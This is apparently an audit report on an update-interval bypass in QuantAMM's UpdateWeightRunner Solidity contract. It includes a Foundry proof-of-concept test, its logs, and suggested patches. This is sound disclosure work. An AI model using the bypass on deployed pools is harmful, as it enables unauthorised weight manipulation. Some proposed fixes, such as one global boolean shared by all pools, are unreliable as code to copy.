Summary
The UpdateWeightRunner contract includes a performUpdate function, which updates weights based on oracle data. This function operates using an interval-based approach to ensure regular updates. While most settings and rules for updates are properly configured, the timingSettings are not enforced adequately. Additionally, the InitialisePoolLastRunTime function, intended to set the last update timestamp as a fail-safe, is not integrated effectively into performUpdate. Consequently, registered pools can bypass the update interval and perform unauthorized updates. Let’s explore how this vulnerability occurs.
Vulnerability Details
Initial Setting Issue:
UpdateWeightRunner::setRuleForPool:
function setRuleForPool(IQuantAMMWeightedPool.PoolSettings memory _poolSettings) external {
require(address(rules[msg.sender]) == address(0), "Rule already set");
require(_poolSettings.oracles.length > 0, "Empty oracles array");
require(poolOracles[msg.sender].length == 0, "pool rule already set");
for (uint256 i; i < _poolSettings.oracles.length; ++i) {
require(_poolSettings.oracles[i].length > 0, "Empty oracles array");
for (uint256 j; j < _poolSettings.oracles[i].length; ++j) {
if (!approvedOracles[_poolSettings.oracles[i][j]]) {
revert("Not approved oracled used");
}
}
}
address[] memory optimisedHappyPathOracles = new address[]();
for (uint256 i; i < _poolSettings.oracles.length; ++i) {
optimisedHappyPathOracles[i] = _poolSettings.oracles[i][0];
}
poolOracles[msg.sender] = optimisedHappyPathOracles;
poolBackupOracles[msg.sender] = _poolSettings.oracles;
rules[msg.sender] = _poolSettings.rule;
poolRuleSettings[msg.sender] = PoolRuleSettings({
lambda: _poolSettings.lambda,
epsilonMax: _poolSettings.epsilonMax,
absoluteWeightGuardRail: _poolSettings.absoluteWeightGuardRail,
ruleParameters: _poolSettings.ruleParameters,
@>
@> timingSettings: PoolTimingSettings({updateInterval: _poolSettings.updateInterval, lastPoolUpdateRun: 0}),
-----------------------------------------------------------------------------------------------------------------^
poolManager: _poolSettings.poolManager
});
emit PoolRuleSet(
address(_poolSettings.rule),
_poolSettings.oracles,
_poolSettings.lambda,
_poolSettings.ruleParameters,
_poolSettings.epsilonMax,
_poolSettings.absoluteWeightGuardRail,
_poolSettings.updateInterval,
_poolSettings.poolManager
);
}
Lack of Validation in performUpdate:
The performUpdate function does not verify if the InitialisePoolLastRunTime function was executed and whether lastPoolUpdateRun is initialized. This oversight allows pools to bypass the update interval.
UpdateWeightRunner::performUpdate:
function performUpdate(address _pool) public {
@>
address rule = address(rules[_pool]);
require(rule != address(0), "Pool not registered");
PoolRuleSettings memory settings = poolRuleSettings[_pool];
require(
block.timestamp - settings.timingSettings.lastPoolUpdateRun >= settings.timingSettings.updateInterval,
"Update not allowed"
);
uint256 poolRegistryEntry = approvedPoolActions[_pool];
if (poolRegistryEntry & MASK_POOL_PERFORM_UPDATE > 0) {
_performUpdateAndGetData(_pool, settings);
emit UpdatePerformed(msg.sender, _pool);
} else {
revert("Pool not approved to perform update");
}
}
Insufficient Integration of InitialisePoolLastRunTime:
The InitialisePoolLastRunTime function initializes lastPoolUpdateRun. However, the performUpdate function lacks enforcement of this initialization.
UpdateWeightRunner::InitialisePoolLastRunTime:
function InitialisePoolLastRunTime(address _poolAddress, uint40 _time) external {
uint256 poolRegistryEntry = approvedPoolActions[_poolAddress];
if (poolRegistryEntry & MASK_POOL_OWNER_UPDATES > 0) {
require(msg.sender == poolRuleSettings[_poolAddress].poolManager, "ONLYMANAGER");
} else if (poolRegistryEntry & MASK_POOL_QUANTAMM_ADMIN_UPDATES > 0) {
require(msg.sender == quantammAdmin, "ONLYADMIN");
} else {
revert("No permission to set last run time");
}
@>
@> poolRuleSettings[_poolAddress].timingSettings.lastPoolUpdateRun = _time;
emit PoolLastRunSet(_poolAddress, _time);
}
PoC
Go to test/foundry/UpdateWeightRunner.t.sol
Paste the following test snippet.
function testUpdatesSuccessfullyAfterUpdateIntervalByPass() public {
vm.warp(4000);
int256[] memory initialWeights = new int256[]();
initialWeights[0] = 0.0000000005e18;
initialWeights[1] = 0.0000000005e18;
initialWeights[2] = 0;
initialWeights[3] = 0;
mockPool.setInitialWeights(initialWeights);
mockPool.setPoolRegistry(9);
vm.startPrank(owner);
updateWeightRunner.setApprovedActionsForPool(address(mockPool), 9);
vm.stopPrank();
int216 fixedValue = 1000;
chainlinkOracle = deployOracle(fixedValue, 3601);
vm.startPrank(owner);
updateWeightRunner.addOracle(OracleWrapper(chainlinkOracle));
vm.stopPrank();
vm.startPrank(address(mockPool));
address[][] memory oracles = new address[][]();
oracles[0] = new address[]();
oracles[0][0] = address(chainlinkOracle);
uint64[] memory lambda = new uint64[]();
lambda[0] = 0.0000000005e18;
updateWeightRunner.setRuleForPool(
IQuantAMMWeightedPool.PoolSettings({
assets: new IERC20[](0),
rule: IUpdateRule(mockRule),
oracles: oracles,
updateInterval: 60,
lambda: lambda,
epsilonMax: 0.2e18,
absoluteWeightGuardRail: 0.2e18,
maxTradeSizeRatio: 0.2e18,
ruleParameters: new int256[][](),
poolManager: addr2
})
);
vm.stopPrank();
mockRule.CalculateNewWeights(
initialWeights, new int256[](0), address(mockPool), new int256[][](), new uint64[](0), 0.2e18, 0.2e18
);
updateWeightRunner.performUpdate(address(mockPool));
uint40 timeNow = uint40(block.timestamp);
assertEq(updateWeightRunner.getPoolRuleSettings(address(mockPool)).timingSettings.lastPoolUpdateRun, timeNow);
assertTrue(mockRule.CalculateNewWeightsCalled());
}
execute the following test command... (ensure you're pointing to this location: 2024-12-quantamm/pkg/pool-quantamm)
forge test --mt testUpdatesSuccessfullyAfterUpdateIntervalByPass -vv
See the logs
[⠒] Compiling...
No files changed, compilation skipped
Ran 1 test for test/foundry/UpdateWeightRunner.t.sol:UpdateWeightRunnerTest
[PASS] testUpdatesSuccessfullyAfterUpdateIntervalByPass() (gas: 919282)
Logs:
through _getOracleData function, control comes here
passing before loop
passing before _getOracleData outer loop
inside _getOracleData function:
here in mock oracle
timestamp: 4000
fixedReply: 1000
delay: 3601
1000
timestamp: 399
passing before if check outer loop
passing before inner loop
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.52ms (3.20ms CPU time)
Ran 1 test suite in 24.53ms (7.52ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
You'll see some unnecessay log comments, don't worry i performed some console logging to trace block.timestamp over/underflow error.
but Guess what our test passed successfully and i think it's enough to prove my point.
Impact
This vulnerability can cause significant financial losses for the protocol due to unauthorized weight updates. Potential impacts include:
Market manipulation by malicious actors.
Disruption in the fairness of automated market-making processes.
Compromised oracle reliability due to frequent or unplanned updates.
Tools Used
Manual code review.
Foundry’s Forge testing framework.
Console.sol for debugging and logging.
Recommendations
-
We can set lastPoolUpdateRun to block.timestamp in setRuleForPool function to have a semi-protection against interval bypass.
-
Second, we can implement a check in the performUpdate function to ensure that lastPoolUpdateRun is initialised and not 0.
.
.
...
function setRuleForPool(IQuantAMMWeightedPool.PoolSettings memory _poolSettings) external {
require(address(rules[msg.sender]) == address(0), "Rule already set");
require(_poolSettings.oracles.length > 0, "Empty oracles array");
require(poolOracles[msg.sender].length == 0, "pool rule already set");
for (uint256 i; i < _poolSettings.oracles.length; ++i) {
require(_poolSettings.oracles[i].length > 0, "Empty oracles array");
for (uint256 j; j < _poolSettings.oracles[i].length; ++j) {
if (!approvedOracles[_poolSettings.oracles[i][j]]) {
revert("Not approved oracled used");
}
}
}
address[] memory optimisedHappyPathOracles = new address[]();
for (uint256 i; i < _poolSettings.oracles.length; ++i) {
optimisedHappyPathOracles[i] = _poolSettings.oracles[i][0];
}
poolOracles[msg.sender] = optimisedHappyPathOracles;
poolBackupOracles[msg.sender] = _poolSettings.oracles;
rules[msg.sender] = _poolSettings.rule;
poolRuleSettings[msg.sender] = PoolRuleSettings({
lambda: _poolSettings.lambda,
epsilonMax: _poolSettings.epsilonMax,
absoluteWeightGuardRail: _poolSettings.absoluteWeightGuardRail,
ruleParameters: _poolSettings.ruleParameters,
- timingSettings: PoolTimingSettings({updateInterval: _poolSettings.updateInterval, lastPoolUpdateRun: 0}),
+ timingSettings: PoolTimingSettings({updateInterval: _poolSettings.updateInterval, lastPoolUpdateRun: block.timestamp}),
poolManager: _poolSettings.poolManager
});
// emit event for easier tracking of rule changes
emit PoolRuleSet(
address(_poolSettings.rule),
_poolSettings.oracles,
_poolSettings.lambda,
_poolSettings.ruleParameters,
_poolSettings.epsilonMax,
_poolSettings.absoluteWeightGuardRail,
_poolSettings.updateInterval,
_poolSettings.poolManager
);
}
.
.
...
function performUpdate(address _pool) public {
//Main external access point to trigger an update
address rule = address(rules[_pool]);
require(rule != address(0), "Pool not registered");
PoolRuleSettings memory settings = poolRuleSettings[_pool];
+ require(settings.timingSettings.lastPoolUpdateRun > 0 && settings.timingSettings.lastPoolUpdateRun <= type(uint40).max);
require(
block.timestamp - settings.timingSettings.lastPoolUpdateRun >= settings.timingSettings.updateInterval,
"Update not allowed"
);
uint256 poolRegistryEntry = approvedPoolActions[_pool];
if (poolRegistryEntry & MASK_POOL_PERFORM_UPDATE > 0) {
_performUpdateAndGetData(_pool, settings);
// emit event for easier tracking of updates and to allow for easier querying of updates
emit UpdatePerformed(msg.sender, _pool);
} else {
revert("Pool not approved to perform update");
}
}
+ bool poolLastRunTimeInitialised;
.
.
...
function performUpdate(address _pool) public {
//Main external access point to trigger an update
+ require(poolLastRunTimeInitialised, " pool last runtime not initialised");
address rule = address(rules[_pool]);
require(rule != address(0), "Pool not registered");
PoolRuleSettings memory settings = poolRuleSettings[_pool];
require(
block.timestamp - settings.timingSettings.lastPoolUpdateRun >= settings.timingSettings.updateInterval,
"Update not allowed"
);
uint256 poolRegistryEntry = approvedPoolActions[_pool];
if (poolRegistryEntry & MASK_POOL_PERFORM_UPDATE > 0) {
_performUpdateAndGetData(_pool, settings);
+ poolLastRunTimeInitialised = false;
// emit event for easier tracking of updates and to allow for easier querying of updates
emit UpdatePerformed(msg.sender, _pool);
} else {
revert("Pool not approved to perform update");
}
}
.
.
...
function InitialisePoolLastRunTime(address _poolAddress, uint40 _time) external {
uint256 poolRegistryEntry = approvedPoolActions[_poolAddress];
//current breakglass settings allow pool creator trigger. This is subject to review
if (poolRegistryEntry & MASK_POOL_OWNER_UPDATES > 0) {
require(msg.sender == poolRuleSettings[_poolAddress].poolManager, "ONLYMANAGER");
} else if (poolRegistryEntry & MASK_POOL_QUANTAMM_ADMIN_UPDATES > 0) {
require(msg.sender == quantammAdmin, "ONLYADMIN");
} else {
revert("No permission to set last run time");
}
poolRuleSettings[_poolAddress].timingSettings.lastPoolUpdateRun = _time;
+ poolLastRunTimeInitialised = true;
emit PoolLastRunSet(_poolAddress, _time);
}
These changes will mitigate the vulnerability and prevent bypassing the update interval, ensuring the protocol remains secure.